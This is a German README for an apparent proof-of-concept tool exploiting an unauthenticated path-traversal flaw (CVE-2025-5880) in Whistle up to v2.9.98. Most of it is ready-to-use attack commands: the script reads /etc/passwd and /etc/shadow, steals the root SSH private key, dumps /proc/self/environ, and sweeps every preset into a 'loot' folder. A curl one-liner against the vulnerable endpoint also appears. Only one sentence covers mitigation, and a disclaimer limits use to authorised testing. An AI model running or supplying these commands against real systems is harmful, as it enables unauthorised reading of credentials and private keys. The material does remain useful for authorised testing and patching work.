
Proof-of-Concept-Exploit für eine nicht authentifizierte Path-Traversal-Schwachstelle in Whistle v2.9.98.
Proof-of-concept Exploit für eine nicht authentifizierte Path-Traversal-Schwachstelle in Whistle v2.9.98.
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2025-5880 |
| CWE | CWE-22 (Path Traversal) |
| Betroffene Software | Whistle ≤ 2.9.98 |
| Betroffener Endpunkt | /cgi-bin/sessions/get-temp-file |
| Angriffsvektor | Netzwerk — keine Authentifizierung erforderlich |
| Auswirkung | Beliebiges Lesen von Dateien im Host-Dateisystem |
Der Query-Parameter filename wird nicht bereinigt, bevor er zum Öffnen einer Datei auf der Festplatte verwendet wird. Dadurch kann ein Angreifer das vorgesehene Temp-Datei-Verzeichnis verlassen und jede Datei lesen, auf die der Whistle-Prozess Zugriff hat (z. B. /etc/passwd, /root/.ssh/id_rsa).
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
# /etc/passwd lesen
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Root-SSH-Private-Key abgreifen
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Beliebigen Pfad lesen
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Alle Presets durchlaufen und speichern
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Aktualisieren Sie Whistle auf eine Version, die den Parameter filename validiert und auf das vorgesehene Temp-Datei-Verzeichnis beschränkt. Wenden Sie serverseitig eine Whitelist-Pfadnormalisierung an (z. B. path.resolve + Präfix-Prüfung).
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.
Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und unethisch.
Der Autor übernimmt keine Haftung für Missbrauch.
| Flag | Beschreibung |
|---|
-u / --url | Basis-URL des Ziels (z. B. http://192.168.1.10:8899) |
-f / --file | Beliebiger Dateipfad zum Lesen |
--preset | Benannte Abkürzung: passwd shadow hosts id_rsa … |
--sweep | Alle Presets automatisch durchlaufen |
-o / --output | Ergebnis in Datei speichern |
--save-dir | Verzeichnis zum Ablegen der Beute aus --sweep |
--timeout | HTTP-Timeout in Sekunden (Standard 10) |